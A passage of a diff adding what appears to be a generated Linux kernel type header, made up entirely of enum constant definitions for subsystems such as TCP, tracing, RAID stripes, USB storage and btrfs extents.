SOF_TIMESTAMPING_OPT_ID_TCP = 65536, + SOF_TIMESTAMPING_OPT_RX_FILTER = 131072, + SOF_TIMESTAMPING_LAST = 131072, + SOF_TIMESTAMPING_MASK = 262143, +}; + +enum { + SPI_BLIST_NOIUS = 1, +}; + +enum { + STRIPE_ACTIVE = 0, + STRIPE_HANDLE = 1, + STRIPE_SYNC_REQUESTED = 2, + STRIPE_SYNCING = 3, + STRIPE_INSYNC = 4, + STRIPE_REPLACED = 5, + STRIPE_PREREAD_ACTIVE = 6, + STRIPE_DELAYED = 7, + STRIPE_DEGRADED = 8, + STRIPE_BIT_DELAY = 9, + STRIPE_EXPANDING = 10, + STRIPE_EXPAND_SOURCE = 11, + STRIPE_EXPAND_READY = 12, + STRIPE_IO_STARTED = 13, + STRIPE_FULL_WRITE = 14, + STRIPE_BIOFILL_RUN = 15, + STRIPE_COMPUTE_RUN = 16, + STRIPE_ON_UNPLUG_LIST = 17, + STRIPE_DISCARD = 18, + STRIPE_ON_RELEASE_LIST = 19, + STRIPE_BATCH_READY = 20, + STRIPE_BATCH_ERR = 21, + STRIPE_BITMAP_PENDING = 22, + STRIPE_LOG_TRAPPED = 23, + STRIPE_R5C_CACHING = 24, + STRIPE_R5C_PARTIAL_STRIPE = 25, + STRIPE_R5C_FULL_STRIPE = 26, + STRIPE_R5C_PREFLUSH = 27, +}; + +enum { + STRIPE_OP_BIOFILL = 0, + STRIPE_OP_COMPUTE_BLK = 1, + STRIPE_OP_PREXOR = 2, + STRIPE_OP_BIODRAIN = 3, + STRIPE_OP_RECONSTRUCT = 4, + STRIPE_OP_CHECK = 5, + STRIPE_OP_PARTIAL_PARITY = 6, +}; + +enum { + SWITCHTEC_GAS_MRPC_OFFSET = 0, + SWITCHTEC_GAS_TOP_CFG_OFFSET = 4096, + SWITCHTEC_GAS_SW_EVENT_OFFSET = 6144, + SWITCHTEC_GAS_SYS_INFO_OFFSET = 8192, + SWITCHTEC_GAS_FLASH_INFO_OFFSET = 8704, + SWITCHTEC_GAS_PART_CFG_OFFSET = 16384, + SWITCHTEC_GAS_NTB_OFFSET = 65536, + SWITCHTEC_GAS_PFF_CSR_OFFSET = 1261568, +}; + +enum { + SWITCHTEC_NTB_REG_INFO_OFFSET = 0, + SWITCHTEC_NTB_REG_CTRL_OFFSET = 16384, + SWITCHTEC_NTB_REG_DBMSG_OFFSET = 409600, +}; + +enum { + SWMII_SPEED_10 = 0, + SWMII_SPEED_100 = 1, + SWMII_SPEED_1000 = 2, + SWMII_DUPLEX_HALF = 0, + SWMII_DUPLEX_FULL = 1, +}; + +enum { + SWP_USED = 1, + SWP_WRITEOK = 2, + SWP_DISCARDABLE = 4, + SWP_DISCARDING = 8, + SWP_SOLIDSTATE = 16, + SWP_CONTINUED = 32, + SWP_BLKDEV = 64, + SWP_ACTIVATED = 128, + SWP_FS_OPS = 256, + SWP_AREA_DISCARD = 512, + SWP_PAGE_DISCARD = 1024, + SWP_STABLE_WRITES = 2048, + SWP_SYNCHRONOUS_IO = 4096, + SWP_SCANNING = 16384, +}; + +enum { + SYNDROME_SRC_ALL = 0, + SYNDROME_SRC_WANT_DRAIN = 1, + SYNDROME_SRC_WRITTEN = 2, +}; + +enum { + SYNTH_ERR_BAD_NAME = 0, + SYNTH_ERR_INVALID_CMD = 1, + SYNTH_ERR_INVALID_DYN_CMD = 2, + SYNTH_ERR_EVENT_EXISTS = 3, + SYNTH_ERR_TOO_MANY_FIELDS = 4, + SYNTH_ERR_INCOMPLETE_TYPE = 5, + SYNTH_ERR_INVALID_TYPE = 6, + SYNTH_ERR_INVALID_FIELD = 7, + SYNTH_ERR_INVALID_ARRAY_SPEC = 8, +}; + +enum { + TASKLET_STATE_SCHED = 0, + TASKLET_STATE_RUN = 1, +}; + +enum { + TASKSTATS_CMD_ATTR_UNSPEC = 0, + TASKSTATS_CMD_ATTR_PID = 1, + TASKSTATS_CMD_ATTR_TGID = 2, + TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 3, + TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 4, + __TASKSTATS_CMD_ATTR_MAX = 5, +}; + +enum { + TASKSTATS_CMD_UNSPEC = 0, + TASKSTATS_CMD_GET = 1, + TASKSTATS_CMD_NEW = 2, + __TASKSTATS_CMD_MAX = 3, +}; + +enum { + TASKSTATS_TYPE_UNSPEC = 0, + TASKSTATS_TYPE_PID = 1, + TASKSTATS_TYPE_TGID = 2, + TASKSTATS_TYPE_STATS = 3, + TASKSTATS_TYPE_AGGR_PID = 4, + TASKSTATS_TYPE_AGGR_TGID = 5, + TASKSTATS_TYPE_NULL = 6, + __TASKSTATS_TYPE_MAX = 7, +}; + +enum { + TASK_COMM_LEN = 16, +}; + +enum { + TCA_FLOWER_KEY_CT_FLAGS_NEW = 1, + TCA_FLOWER_KEY_CT_FLAGS_ESTABLISHED = 2, + TCA_FLOWER_KEY_CT_FLAGS_RELATED = 4, + TCA_FLOWER_KEY_CT_FLAGS_TRACKED = 8, + TCA_FLOWER_KEY_CT_FLAGS_INVALID = 16, + TCA_FLOWER_KEY_CT_FLAGS_REPLY = 32, + __TCA_FLOWER_KEY_CT_FLAGS_MAX = 33, +}; + +enum { + TCA_STATS_UNSPEC = 0, + TCA_STATS_BASIC = 1, + TCA_STATS_RATE_EST = 2, + TCA_STATS_QUEUE = 3, + TCA_STATS_APP = 4, + TCA_STATS_RATE_EST64 = 5, + TCA_STATS_PAD = 6, + TCA_STATS_BASIC_HW = 7, + TCA_STATS_PKT64 = 8, + __TCA_STATS_MAX = 9, +}; + +enum { + TCA_UNSPEC = 0, + TCA_KIND = 1, + TCA_OPTIONS = 2, + TCA_STATS = 3, + TCA_XSTATS = 4, + TCA_RATE = 5, + TCA_FCNT = 6, + TCA_STATS2 = 7, + TCA_STAB = 8, + TCA_PAD = 9, + TCA_DUMP_INVISIBLE = 10, + TCA_CHAIN = 11, + TCA_HW_OFFLOAD = 12, + TCA_INGRESS_BLOCK = 13, + TCA_EGRESS_BLOCK = 14, + TCA_DUMP_FLAGS = 15, + TCA_EXT_WARN_MSG = 16, + __TCA_MAX = 17, +}; + +enum { + TCPF_ESTABLISHED = 2, + TCPF_SYN_SENT = 4, + TCPF_SYN_RECV = 8, + TCPF_FIN_WAIT1 = 16, + TCPF_FIN_WAIT2 = 32, + TCPF_TIME_WAIT = 64, + TCPF_CLOSE = 128, + TCPF_CLOSE_WAIT = 256, + TCPF_LAST_ACK = 512, + TCPF_LISTEN = 1024, + TCPF_CLOSING = 2048, + TCPF_NEW_SYN_RECV = 4096, + TCPF_BOUND_INACTIVE = 8192, +}; + +enum { + TCP_BPF_BASE = 0, + TCP_BPF_TX = 1, + TCP_BPF_RX = 2, + TCP_BPF_TXRX = 3, + TCP_BPF_NUM_CFGS = 4, +}; + +enum { + TCP_BPF_IPV4 = 0, + TCP_BPF_IPV6 = 1, + TCP_BPF_NUM_PROTS = 2, +}; + +enum { + TCP_BPF_IW = 1001, + TCP_BPF_SNDCWND_CLAMP = 1002, + TCP_BPF_DELACK_MAX = 1003, + TCP_BPF_RTO_MIN = 1004, + TCP_BPF_SYN = 1005, + TCP_BPF_SYN_IP = 1006, + TCP_BPF_SYN_MAC = 1007, + TCP_BPF_SOCK_OPS_CB_FLAGS = 1008, +}; + +enum { + TCP_CMSG_INQ = 1, + TCP_CMSG_TS = 2, +}; + +enum { + TCP_ESTABLISHED = 1, + TCP_SYN_SENT = 2, + TCP_SYN_RECV = 3, + TCP_FIN_WAIT1 = 4, + TCP_FIN_WAIT2 = 5, + TCP_TIME_WAIT = 6, + TCP_CLOSE = 7, + TCP_CLOSE_WAIT = 8, + TCP_LAST_ACK = 9, + TCP_LISTEN = 10, + TCP_CLOSING = 11, + TCP_NEW_SYN_RECV = 12, + TCP_BOUND_INACTIVE = 13, + TCP_MAX_STATES = 14, +}; + +enum { + TCP_FLAG_CWR = 32768, + TCP_FLAG_ECE = 16384, + TCP_FLAG_URG = 8192, + TCP_FLAG_ACK = 4096, + TCP_FLAG_PSH = 2048, + TCP_FLAG_RST = 1024, + TCP_FLAG_SYN = 512, + TCP_FLAG_FIN = 256, + TCP_RESERVED_BITS = 15, + TCP_DATA_OFFSET = 240, +}; + +enum { + TCP_METRICS_ATTR_UNSPEC = 0, + TCP_METRICS_ATTR_ADDR_IPV4 = 1, + TCP_METRICS_ATTR_ADDR_IPV6 = 2, + TCP_METRICS_ATTR_AGE = 3, + TCP_METRICS_ATTR_TW_TSVAL = 4, + TCP_METRICS_ATTR_TW_TS_STAMP = 5, + TCP_METRICS_ATTR_VALS = 6, + TCP_METRICS_ATTR_FOPEN_MSS = 7, + TCP_METRICS_ATTR_FOPEN_SYN_DROPS = 8, + TCP_METRICS_ATTR_FOPEN_SYN_DROP_TS = 9, + TCP_METRICS_ATTR_FOPEN_COOKIE = 10, + TCP_METRICS_ATTR_SADDR_IPV4 = 11, + TCP_METRICS_ATTR_SADDR_IPV6 = 12, + TCP_METRICS_ATTR_PAD = 13, + __TCP_METRICS_ATTR_MAX = 14, +}; + +enum { + TCP_METRICS_CMD_UNSPEC = 0, + TCP_METRICS_CMD_GET = 1, + TCP_METRICS_CMD_DEL = 2, + __TCP_METRICS_CMD_MAX = 3, +}; + +enum { + TCP_MIB_NUM = 0, + TCP_MIB_RTOALGORITHM = 1, + TCP_MIB_RTOMIN = 2, + TCP_MIB_RTOMAX = 3, + TCP_MIB_MAXCONN = 4, + TCP_MIB_ACTIVEOPENS = 5, + TCP_MIB_PASSIVEOPENS = 6, + TCP_MIB_ATTEMPTFAILS = 7, + TCP_MIB_ESTABRESETS = 8, + TCP_MIB_CURRESTAB = 9, + TCP_MIB_INSEGS = 10, + TCP_MIB_OUTSEGS = 11, + TCP_MIB_RETRANSSEGS = 12, + TCP_MIB_INERRS = 13, + TCP_MIB_OUTRSTS = 14, + TCP_MIB_CSUMERRORS = 15, + __TCP_MIB_MAX = 16, +}; + +enum { + TCP_NLA_PAD = 0, + TCP_NLA_BUSY = 1, + TCP_NLA_RWND_LIMITED = 2, + TCP_NLA_SNDBUF_LIMITED = 3, + TCP_NLA_DATA_SEGS_OUT = 4, + TCP_NLA_TOTAL_RETRANS = 5, + TCP_NLA_PACING_RATE = 6, + TCP_NLA_DELIVERY_RATE = 7, + TCP_NLA_SND_CWND = 8, + TCP_NLA_REORDERING = 9, + TCP_NLA_MIN_RTT = 10, + TCP_NLA_RECUR_RETRANS = 11, + TCP_NLA_DELIVERY_RATE_APP_LMT = 12, + TCP_NLA_SNDQ_SIZE = 13, + TCP_NLA_CA_STATE = 14, + TCP_NLA_SND_SSTHRESH = 15, + TCP_NLA_DELIVERED = 16, + TCP_NLA_DELIVERED_CE = 17, + TCP_NLA_BYTES_SENT = 18, + TCP_NLA_BYTES_RETRANS = 19, + TCP_NLA_DSACK_DUPS = 20, + TCP_NLA_REORD_SEEN = 21, + TCP_NLA_SRTT = 22, + TCP_NLA_TIMEOUT_REHASH = 23, + TCP_NLA_BYTES_NOTSENT = 24, + TCP_NLA_EDT = 25, + TCP_NLA_TTL = 26, + TCP_NLA_REHASH = 27, +}; + +enum { + TCP_NO_QUEUE = 0, + TCP_RECV_QUEUE = 1, + TCP_SEND_QUEUE = 2, + TCP_QUEUES_NR = 3, +}; + +enum { + TEST_NONE = 0, + TEST_CORE = 1, + TEST_CPUS = 2, + TEST_PLATFORM = 3, + TEST_DEVICES = 4, + TEST_FREEZER = 5, + __TEST_AFTER_LAST = 6, +}; + +enum { + TE_V2_FRAG_NONE = 0, + TE_V2_FRAG_SINGLE = 1, + TE_V2_FRAG_DUAL = 2, + TE_V2_FRAG_MAX = 254, + TE_V2_FRAG_ENDLESS = 255, +}; + +enum { + TKIP_DECRYPT_OK = 0, + TKIP_DECRYPT_NO_EXT_IV = -1, + TKIP_DECRYPT_INVALID_KEYIDX = -2, + TKIP_DECRYPT_REPLAY = -3, +}; + +enum { + TOO_MANY_CLOSE = -1, + TOO_MANY_OPEN = -2, + MISSING_QUOTE = -3, +}; + +enum { + TP_ERR_FILE_NOT_FOUND = 0, + TP_ERR_NO_REGULAR_FILE = 1, + TP_ERR_BAD_REFCNT = 2, + TP_ERR_REFCNT_OPEN_BRACE = 3, + TP_ERR_BAD_REFCNT_SUFFIX = 4, + TP_ERR_BAD_UPROBE_OFFS = 5, + TP_ERR_BAD_MAXACT_TYPE = 6, + TP_ERR_BAD_MAXACT = 7, + TP_ERR_MAXACT_TOO_BIG = 8, + TP_ERR_BAD_PROBE_ADDR = 9, + TP_ERR_NON_UNIQ_SYMBOL = 10, + TP_ERR_BAD_RETPROBE = 11, + TP_ERR_NO_TRACEPOINT = 12, + TP_ERR_BAD_ADDR_SUFFIX = 13, + TP_ERR_NO_GROUP_NAME = 14, + TP_ERR_GROUP_TOO_LONG = 15, + TP_ERR_BAD_GROUP_NAME = 16, + TP_ERR_NO_EVENT_NAME = 17, + TP_ERR_EVENT_TOO_LONG = 18, + TP_ERR_BAD_EVENT_NAME = 19, + TP_ERR_EVENT_EXIST = 20, + TP_ERR_RETVAL_ON_PROBE = 21, + TP_ERR_NO_RETVAL = 22, + TP_ERR_BAD_STACK_NUM = 23, + TP_ERR_BAD_ARG_NUM = 24, + TP_ERR_BAD_VAR = 25, + TP_ERR_BAD_REG_NAME = 26, + TP_ERR_BAD_MEM_ADDR = 27, + TP_ERR_BAD_IMM = 28, + TP_ERR_IMMSTR_NO_CLOSE = 29, + TP_ERR_FILE_ON_KPROBE = 30, + TP_ERR_BAD_FILE_OFFS = 31, + TP_ERR_SYM_ON_UPROBE = 32, + TP_ERR_TOO_MANY_OPS = 33, + TP_ERR_DEREF_NEED_BRACE = 34, + TP_ERR_BAD_DEREF_OFFS = 35, + TP_ERR_DEREF_OPEN_BRACE = 36, + TP_ERR_COMM_CANT_DEREF = 37, + TP_ERR_BAD_FETCH_ARG = 38, + TP_ERR_ARRAY_NO_CLOSE = 39, + TP_ERR_BAD_ARRAY_SUFFIX = 40, + TP_ERR_BAD_ARRAY_NUM = 41, + TP_ERR_ARRAY_TOO_BIG = 42, + TP_ERR_BAD_TYPE = 43, + TP_ERR_BAD_STRING = 44, + TP_ERR_BAD_SYMSTRING = 45, + TP_ERR_BAD_BITFIELD = 46, + TP_ERR_ARG_NAME_TOO_LONG = 47, + TP_ERR_NO_ARG_NAME = 48, + TP_ERR_BAD_ARG_NAME = 49, + TP_ERR_USED_ARG_NAME = 50, + TP_ERR_ARG_TOO_LONG = 51, + TP_ERR_NO_ARG_BODY = 52, + TP_ERR_BAD_INSN_BNDRY = 53, + TP_ERR_FAIL_REG_PROBE = 54, + TP_ERR_DIFF_PROBE_TYPE = 55, + TP_ERR_DIFF_ARG_TYPE = 56, + TP_ERR_SAME_PROBE = 57, + TP_ERR_NO_EVENT_INFO = 58, + TP_ERR_BAD_ATTACH_EVENT = 59, + TP_ERR_BAD_ATTACH_ARG = 60, + TP_ERR_NO_EP_FILTER = 61, + TP_ERR_NOSUP_BTFARG = 62, + TP_ERR_NO_BTFARG = 63, + TP_ERR_NO_BTF_ENTRY = 64, + TP_ERR_BAD_VAR_ARGS = 65, + TP_ERR_NOFENTRY_ARGS = 66, + TP_ERR_DOUBLE_ARGS = 67, + TP_ERR_ARGS_2LONG = 68, + TP_ERR_ARGIDX_2BIG = 69, + TP_ERR_NO_PTR_STRCT = 70, + TP_ERR_NOSUP_DAT_ARG = 71, + TP_ERR_BAD_HYPHEN = 72, + TP_ERR_NO_BTF_FIELD = 73, + TP_ERR_BAD_BTF_TID = 74, + TP_ERR_BAD_TYPE4STR = 75, + TP_ERR_NEED_STRING_TYPE = 76, +}; + +enum { + TRACEFS_EVENT_INODE = 2, + TRACEFS_GID_PERM_SET = 4, + TRACEFS_UID_PERM_SET = 8, + TRACEFS_INSTANCE_INODE = 16, +}; + +enum { + TRACE_ARRAY_FL_GLOBAL = 1, + TRACE_ARRAY_FL_BOOT = 2, +}; + +enum { + TRACE_CTX_NMI = 0, + TRACE_CTX_IRQ = 1, + TRACE_CTX_SOFTIRQ = 2, + TRACE_CTX_NORMAL = 3, + TRACE_CTX_TRANSITION = 4, +}; + +enum { + TRACE_EVENT_FL_FILTERED = 1, + TRACE_EVENT_FL_CAP_ANY = 2, + TRACE_EVENT_FL_NO_SET_FILTER = 4, + TRACE_EVENT_FL_IGNORE_ENABLE = 8, + TRACE_EVENT_FL_TRACEPOINT = 16, + TRACE_EVENT_FL_DYNAMIC = 32, + TRACE_EVENT_FL_KPROBE = 64, + TRACE_EVENT_FL_UPROBE = 128, + TRACE_EVENT_FL_EPROBE = 256, + TRACE_EVENT_FL_FPROBE = 512, + TRACE_EVENT_FL_CUSTOM = 1024, +}; + +enum { + TRACE_FTRACE_BIT = 0, + TRACE_FTRACE_NMI_BIT = 1, + TRACE_FTRACE_IRQ_BIT = 2, + TRACE_FTRACE_SIRQ_BIT = 3, + TRACE_FTRACE_TRANSITION_BIT = 4, + TRACE_INTERNAL_BIT = 5, + TRACE_INTERNAL_NMI_BIT = 6, + TRACE_INTERNAL_IRQ_BIT = 7, + TRACE_INTERNAL_SIRQ_BIT = 8, + TRACE_INTERNAL_TRANSITION_BIT = 9, + TRACE_BRANCH_BIT = 10, + TRACE_IRQ_BIT = 11, + TRACE_RECORD_RECURSION_BIT = 12, +}; + +enum { + TRACE_FUNC_NO_OPTS = 0, + TRACE_FUNC_OPT_STACK = 1, + TRACE_FUNC_OPT_NO_REPEATS = 2, + TRACE_FUNC_OPT_HIGHEST_BIT = 4, +}; + +enum { + TRACE_GRAPH_FL = 1, + TRACE_GRAPH_DEPTH_START_BIT = 2, + TRACE_GRAPH_DEPTH_END_BIT = 3, + TRACE_GRAPH_NOTRACE_BIT = 4, +}; + +enum { + TRACE_NOP_OPT_ACCEPT = 1, + TRACE_NOP_OPT_REFUSE = 2, +}; + +enum { + TRACE_PIDS = 1, + TRACE_NO_PIDS = 2, +}; + +enum { + TRACE_SIGNAL_DELIVERED = 0, + TRACE_SIGNAL_IGNORED = 1, + TRACE_SIGNAL_ALREADY_PENDING = 2, + TRACE_SIGNAL_OVERFLOW_FAIL = 3, + TRACE_SIGNAL_LOSE_INFO = 4, +}; + +enum { + TTY_LOCK_NORMAL = 0, + TTY_LOCK_SLAVE = 1, +}; + +enum { + TX_PWR_CFG_0_IDX = 0, + TX_PWR_CFG_1_IDX = 1, + TX_PWR_CFG_2_IDX = 2, + TX_PWR_CFG_3_IDX = 3, + TX_PWR_CFG_4_IDX = 4, + TX_PWR_CFG_5_IDX = 5, + TX_PWR_CFG_6_IDX = 6, + TX_PWR_CFG_7_IDX = 7, + TX_PWR_CFG_8_IDX = 8, + TX_PWR_CFG_9_IDX = 9, + TX_PWR_CFG_0_EXT_IDX = 10, + TX_PWR_CFG_1_EXT_IDX = 11, + TX_PWR_CFG_2_EXT_IDX = 12, + TX_PWR_CFG_3_EXT_IDX = 13, + TX_PWR_CFG_4_EXT_IDX = 14, + TX_PWR_CFG_IDX_COUNT = 15, +}; + +enum { + TX_STATUS_MSK = 255, + TX_STATUS_DELAY_MSK = 64, + TX_STATUS_ABORT_MSK = 128, + TX_PACKET_MODE_MSK = 65280, + TX_FIFO_NUMBER_MSK = 458752, + TX_RESERVED = 7864320, + TX_POWER_PA_DETECT_MSK = 2139095040, + TX_ABORT_REQUIRED_MSK = 2147483648, +}; + +enum { + TX_STATUS_SUCCESS = 1, + TX_STATUS_DIRECT_DONE = 2, + TX_STATUS_POSTPONE_DELAY = 64, + TX_STATUS_POSTPONE_FEW_BYTES = 65, + TX_STATUS_POSTPONE_BT_PRIO = 66, + TX_STATUS_POSTPONE_QUIET_PERIOD = 67, + TX_STATUS_POSTPONE_CALC_TTAK = 68, + TX_STATUS_FAIL_INTERNAL_CROSSED_RETRY = 129, + TX_STATUS_FAIL_SHORT_LIMIT = 130, + TX_STATUS_FAIL_LONG_LIMIT = 131, + TX_STATUS_FAIL_FIFO_UNDERRUN = 132, + TX_STATUS_FAIL_DRAIN_FLOW = 133, + TX_STATUS_FAIL_RFKILL_FLUSH = 134, + TX_STATUS_FAIL_LIFE_EXPIRE = 135, + TX_STATUS_FAIL_DEST_PS = 136, + TX_STATUS_FAIL_HOST_ABORTED = 137, + TX_STATUS_FAIL_BT_RETRY = 138, + TX_STATUS_FAIL_STA_INVALID = 139, + TX_STATUS_FAIL_FRAG_DROPPED = 140, + TX_STATUS_FAIL_TID_DISABLE = 141, + TX_STATUS_FAIL_FIFO_FLUSHED = 142, + TX_STATUS_FAIL_INSUFFICIENT_CF_POLL = 143, + TX_STATUS_FAIL_PASSIVE_NO_RX = 144, + TX_STATUS_FAIL_NO_BEACON_ON_RADAR = 145, +}; + +enum { + UDP_BPF_IPV4 = 0, + UDP_BPF_IPV6 = 1, + UDP_BPF_NUM_PROTS = 2, +}; + +enum { + UDP_FLAGS_CORK = 0, + UDP_FLAGS_NO_CHECK6_TX = 1, + UDP_FLAGS_NO_CHECK6_RX = 2, + UDP_FLAGS_GRO_ENABLED = 3, + UDP_FLAGS_ACCEPT_FRAGLIST = 4, + UDP_FLAGS_ACCEPT_L4 = 5, + UDP_FLAGS_ENCAP_ENABLED = 6, + UDP_FLAGS_UDPLITE_SEND_CC = 7, + UDP_FLAGS_UDPLITE_RECV_CC = 8, +}; + +enum { + UDP_MIB_NUM = 0, + UDP_MIB_INDATAGRAMS = 1, + UDP_MIB_NOPORTS = 2, + UDP_MIB_INERRORS = 3, + UDP_MIB_OUTDATAGRAMS = 4, + UDP_MIB_RCVBUFERRORS = 5, + UDP_MIB_SNDBUFERRORS = 6, + UDP_MIB_CSUMERRORS = 7, + UDP_MIB_IGNOREDMULTI = 8, + UDP_MIB_MEMERRORS = 9, + __UDP_MIB_MAX = 10, +}; + +enum { + UNAME26 = 131072, + ADDR_NO_RANDOMIZE = 262144, + FDPIC_FUNCPTRS = 524288, + MMAP_PAGE_ZERO = 1048576, + ADDR_COMPAT_LAYOUT = 2097152, + READ_IMPLIES_EXEC = 4194304, + ADDR_LIMIT_32BIT = 8388608, + SHORT_INODE = 16777216, + WHOLE_SECONDS = 33554432, + STICKY_TIMEOUTS = 67108864, + ADDR_LIMIT_3GB = 134217728, +}; + +enum { + UNCORE_TYPE_DF = 0, + UNCORE_TYPE_L3 = 1, + UNCORE_TYPE_UMC = 2, + UNCORE_TYPE_MAX = 3, +}; + +enum { + UNDEFINED_CAPABLE = 0, + SYSTEM_INTEL_MSR_CAPABLE = 1, + SYSTEM_AMD_MSR_CAPABLE = 2, + SYSTEM_IO_CAPABLE = 3, +}; + +enum { + US_FL_SINGLE_LUN = 1, + US_FL_NEED_OVERRIDE = 2, + US_FL_SCM_MULT_TARG = 4, + US_FL_FIX_INQUIRY = 8, + US_FL_FIX_CAPACITY = 16, + US_FL_IGNORE_RESIDUE = 32, + US_FL_BULK32 = 64, + US_FL_NOT_LOCKABLE = 128, + US_FL_GO_SLOW = 256, + US_FL_NO_WP_DETECT = 512, + US_FL_MAX_SECTORS_64 = 1024, + US_FL_IGNORE_DEVICE = 2048, + US_FL_CAPACITY_HEURISTICS = 4096, + US_FL_MAX_SECTORS_MIN = 8192, + US_FL_BULK_IGNORE_TAG = 16384, + US_FL_SANE_SENSE = 32768, + US_FL_CAPACITY_OK = 65536, + US_FL_BAD_SENSE = 131072, + US_FL_NO_READ_DISC_INFO = 262144, + US_FL_NO_READ_CAPACITY_16 = 524288, + US_FL_INITIAL_READ10 = 1048576, + US_FL_WRITE_CACHE = 2097152, + US_FL_NEEDS_CAP16 = 4194304, + US_FL_IGNORE_UAS = 8388608, + US_FL_BROKEN_FUA = 16777216, + US_FL_NO_ATA_1X = 33554432, + US_FL_NO_REPORT_OPCODES = 67108864, + US_FL_MAX_SECTORS_240 = 134217728, + US_FL_NO_REPORT_LUNS = 268435456, + US_FL_ALWAYS_SYNC = 536870912, + US_FL_NO_SAME = 1073741824, + US_FL_SENSE_AFTER_SYNC = 2147483648, +}; + +enum { + VETH_INFO_UNSPEC = 0, + VETH_INFO_PEER = 1, + __VETH_INFO_MAX = 2, +}; + +enum { + VP_MSIX_CONFIG_VECTOR = 0, + VP_MSIX_VQ_VECTOR = 1, +}; + +enum { + VTIME_PER_SEC_SHIFT = 37ULL, + VTIME_PER_SEC = 137438953472ULL, + VTIME_PER_USEC = 137438ULL, + VTIME_PER_NSEC = 137ULL, + VRATE_MIN_PPM = 10000ULL, + VRATE_MAX_PPM = 100000000ULL, + VRATE_MIN = 1374ULL, + VRATE_CLAMP_ADJ_PCT = 4ULL, + AUTOP_CYCLE_NSEC = 10000000000ULL, +}; + +enum { + WALK_TRAILING = 1, + WALK_MORE = 2, + WALK_NOFOLLOW = 4, +}; + +enum { + WBT_RWQ_BG = 0, + WBT_RWQ_SWAP = 1, + WBT_RWQ_DISCARD = 2, + WBT_NUM_RWQ = 3, +}; + +enum { + WBT_STATE_ON_DEFAULT = 1, + WBT_STATE_ON_MANUAL = 2, + WBT_STATE_OFF_DEFAULT = 3, + WBT_STATE_OFF_MANUAL = 4, +}; + +enum { + WFPM_AUX_CTL_AUX_IF_MAC_OWNER_MSK = 2147483648, +}; + +enum { + WORK_DONE_BIT = 0, + WORK_ORDER_DONE_BIT = 1, +}; + +enum { + X86_BR_NONE = 0, + X86_BR_USER = 1, + X86_BR_KERNEL = 2, + X86_BR_CALL = 4, + X86_BR_RET = 8, + X86_BR_SYSCALL = 16, + X86_BR_SYSRET = 32, + X86_BR_INT = 64, + X86_BR_IRET = 128, + X86_BR_JCC = 256, + X86_BR_JMP = 512, + X86_BR_IRQ = 1024, + X86_BR_IND_CALL = 2048, + X86_BR_ABORT = 4096, + X86_BR_IN_TX = 8192, + X86_BR_NO_TX = 16384, + X86_BR_ZERO_CALL = 32768, + X86_BR_CALL_STACK = 65536, + X86_BR_IND_JMP = 131072, + X86_BR_TYPE_SAVE = 262144, +}; + +enum { + X86_IRQ_ALLOC_LEGACY = 1, +}; + +enum { + X86_PERF_KFREE_SHARED = 0, + X86_PERF_KFREE_EXCL = 1, + X86_PERF_KFREE_MAX = 2, +}; + +enum { + XA_CHECK_SCHED = 4096, +}; + +enum { + XDP_ATTACHED_NONE = 0, + XDP_ATTACHED_DRV = 1, + XDP_ATTACHED_SKB = 2, + XDP_ATTACHED_HW = 3, + XDP_ATTACHED_MULTI = 4, +}; + +enum { + XFRM_LOOKUP_ICMP = 1, + XFRM_LOOKUP_QUEUE = 2, + XFRM_LOOKUP_KEEP_DST_REF = 4, +}; + +enum { + XFRM_POLICY_IN = 0, + XFRM_POLICY_OUT = 1, + XFRM_POLICY_FWD = 2, + XFRM_POLICY_MASK = 3, + XFRM_POLICY_MAX = 3, +}; + +enum { + ZONELIST_FALLBACK = 0, + ZONELIST_NOFALLBACK = 1, + MAX_ZONELISTS = 2, +}; + +enum { + ZSTDbss_compress = 0, + ZSTDbss_noCompress = 1, +}; + +enum { + _IRQ_DEFAULT_INIT_FLAGS = 0, + _IRQ_PER_CPU = 512, + _IRQ_LEVEL = 256, + _IRQ_NOPROBE = 1024, + _IRQ_NOREQUEST = 2048, + _IRQ_NOTHREAD = 65536, + _IRQ_NOAUTOEN = 4096, + _IRQ_MOVE_PCNTXT = 16384, + _IRQ_NO_BALANCING = 8192, + _IRQ_NESTED_THREAD = 32768, + _IRQ_PER_CPU_DEVID = 131072, + _IRQ_IS_POLLED = 262144, + _IRQ_DISABLE_UNLAZY = 524288, + _IRQ_HIDDEN = 1048576, + _IRQ_NO_DEBUG = 2097152, + _IRQF_MODIFY_MASK = 2096911, +}; + +enum { + __EXTENT_DIRTY_BIT = 0, + EXTENT_DIRTY = 1, + __EXTENT_DIRTY_SEQ = 0, + __EXTENT_UPTODATE_BIT = 1, + EXTENT_UPTODATE = 2, + __EXTENT_UPTODATE_SEQ = 1, + __EXTENT_LOCKED_BIT = 2, + EXTENT_LOCKED = 4, + __EXTENT_LOCKED_SEQ = 2, + __EXTENT_DIO_LOCKED_BIT = 3, + EXTENT_DIO_LOCKED = 8, + __EXTENT_DIO_LOCKED_SEQ = 3, + __EXTENT_NEW_BIT = 4, + EXTENT_NEW = 16, + __EXTENT_NEW_SEQ = 4, + __EXTENT_DELALLOC_BIT = 5, + EXTENT_DELALLOC = 32, + __EXTENT_DELALLOC_SEQ = 5, + __EXTENT_DEFRAG_BIT = 6, + EXTENT_DEFRAG = 64, + __EXTENT_DEFRAG_SEQ = 6, + __EXTENT_BOUNDARY_BIT = 7, + EXTENT_BOUNDARY = 128, + __EXTENT_BOUNDARY_SEQ = 7, + __EXTENT_NODATASUM_BIT = 8, + EXTENT_NODATASUM = 256, + __EXTENT_NODATASUM_SEQ = 8, + __EXTENT_CLEAR_META_RESV_BIT = 9, + EXTENT_CLEAR_META_RESV = 512, + __EXTENT_CLEAR_META_RESV_SEQ = 9, + __EXTENT_NEED_WAIT_BIT = 10, + EXTENT_NEED_WAIT = 1024, + __EXTENT_NEED_WAIT_SEQ = 10, + __EXTENT_NORESERVE_BIT = 11, + EXTENT_NORESERVE = 2048, + __EXTENT_NORESERVE_SEQ = 11, + __EXTENT_QGROUP_RESERVED_BIT = 12, + EXTENT_QGROUP_RESERVED = 4096, + __EXTENT_QGROUP_RESERVED_SEQ = 12, + __EXTENT_CLEAR_DATA_RESV_BIT = 13, + EXTENT_CLEAR_DATA_RESV = 8192, + __EXTENT_CLEAR_DATA_RESV_SEQ = 13, + __EXTENT_DELALLOC_NEW_BIT = 14, + EXTENT_DELALLOC_NEW = 16384, + __EXTENT_DELALLOC_NEW_SEQ = 14, + __EXTENT_ADD_INODE_BYTES_BIT = 15, + EXTENT_ADD_INODE_BYTES = 32768, + __EXTENT_ADD_INODE_BYTES_SEQ = 15, + 